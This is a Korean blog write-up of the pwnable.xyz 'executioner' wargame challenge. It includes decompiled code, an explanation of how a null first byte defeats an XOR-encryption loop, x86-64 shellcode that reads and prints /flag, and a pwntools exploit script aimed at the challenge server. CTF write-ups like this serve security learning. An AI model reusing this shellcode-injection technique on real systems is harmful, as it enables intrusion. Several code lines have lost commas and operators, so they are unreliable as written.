본문으로 바로가기

pwnable.xyz / executioner

category Wargame/pwnable.xyz 2020. 4. 9. 07:51
void __cdecl solve_pow()
{
  unsigned int n; // [rsp+8h] [rbp-18h]
  int x; // [rsp+Ch] [rbp-14h]
  int y; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 __canary; // [rsp+18h] [rbp-8h]
  
  __canary = __readfsqword(0x28u);
  
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  n = 0;
  read(fd, &n, 4uLL);
  close(fd);
  
  x = 0;
  y = 0;
  printf("POW: x + y == 0x%x\n"n);
  printf("> ");
  if ( (unsigned int)_isoc99_scanf("%d %d", &x, &y) != 2 )
  {
    puts("scanf error");
    exit(1);
  }
  getchar();
  
  if ( y + x != n )
  {
    puts("POW failed");
    exit(1);
  }
  
  puts("Loading challenge... ");
  sleep(x * y);
}

 

처음 실행하는 solve_pow 함수에서는 랜덤으로 4바이트를 읽어서 n에 저장하고, 더해서 n이 되는 2개의 숫자를 보내야 한다.

sleep(x*y); 를 마지막에 실행하기 때문에 하나는 0, 하나는 n을 보내주면 된다.

 

  fdopen("/dev/urandom", O_RDONLY);
  
  if ( fd != -1 )
  {
    read(fdkey, 0x7FuLL);
    close(fd);
    printf("Input: "key);
    read(0, inpt, 0x7FuLL);
    
    for ( i= 0; istrlen(inpt); ++i)
      inpt[i] ^= key[i];
    
    page = mmap(NULL, 0x1000uLL, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0LL);
    memcpy(pageinpt, 0x80uLL);
    JUMPOUT(__CS__page);
  }

 

최대 0x7F 길이의 instruction set을 입력받고 inpt의 길이만큼 랜덤 키값이랑 xor해서 암호화한다. 첫 바이트를 NULL으로 설정하면 간단히 회피 가능..

00으로 시작하는 instruction은 add r/m8, r8 이다. page로 jump한 직후 write 가능한 주소를 가리키는 레지스터를 찾아서 add 연산을 처음에 붙여주면 암호화 루틴을 건너뛰면서 뒷 부분의 코드를 정상적으로 실행시킬 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
; set the first byte to NULL: 00 45 00
add    byte ptr [rbp+0x0], al
; save page address
mov    r15rax
; save string "/flag" to page+0x800
mov    r140x67616c662f
mov    qword ptr [r15+0x800], r14
; fd = open("/flag", O_RDONLY)
lea    rdiqword ptr [r15+0x800]
mov    rsi0
mov    rax2
syscall
; read(fd, page+0x808, 0x40)
mov    rdirax
lea    rsi, [r15+0x808]
mov    rdx0x40
mov    rax0
syscall
; write(1, page+0x808, 0x40)
mov    rdi1
mov    rax1
syscall

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import argparse

context.arch = 'amd64'

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30025)
else :
    p = process('./challenge')


def exploit() :
    n = int(p.readline().rstrip().split()[-1], 16)
    p.writelineafter(b'> ''0 {}'.format(n).encode())

    shellcode = '''
        add    byte ptr [rbp+0x0], al
        mov    r15, rax
        mov    r14, 0x67616c662f
        mov    qword ptr [r15+0x800], r14
        lea    rdi, [r15+0x800]
        mov    rsi, 0
        mov    rax, 2
        syscall
        mov    rdi, rax
        lea    rsi, [r15+0x808]
        mov    rdx, 0x40
        mov    rax, 0
        syscall
        mov    rdi, 1
        mov    rax, 1
        syscall
    '''


    p.write(asm(shellcode))

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/9/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / badayum  (0) 2020.04.10
pwnable.xyz / password  (0) 2020.04.10
pwnable.xyz / Punch it  (0) 2020.04.09
pwnable.xyz / catalog  (0) 2020.04.08
pwnable.xyz / PvP  (0) 2020.04.08